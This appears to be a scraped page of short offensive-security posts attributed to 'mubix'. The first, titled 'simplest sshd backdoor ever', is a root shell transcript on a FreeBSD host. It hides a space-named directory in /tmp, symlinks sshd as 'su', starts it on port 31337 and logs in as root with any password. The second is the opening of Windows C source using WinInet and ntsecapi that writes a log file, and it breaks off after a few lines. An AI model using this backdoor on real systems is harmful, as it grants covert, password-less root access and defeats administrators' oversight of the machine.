mubix

simplest sshd backdoor ever.
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# uname -a
FreeBSD BSDPWNED 9.0-RELEASE ...
BSDPWNED# mkdir /tmp/" "
BSDPWNED# ln -sf /usr/sbin/sshd /tmp/" "/su
BSDPWNED# /tmp/" "/su -oPort=31337
BSDPWNED# ssh -lroot -p31337 0
root@0's password: <any password>

mubix

#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>

void writeToLog(const char* szString)
{
    FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
    if (NULL == pFile)
    {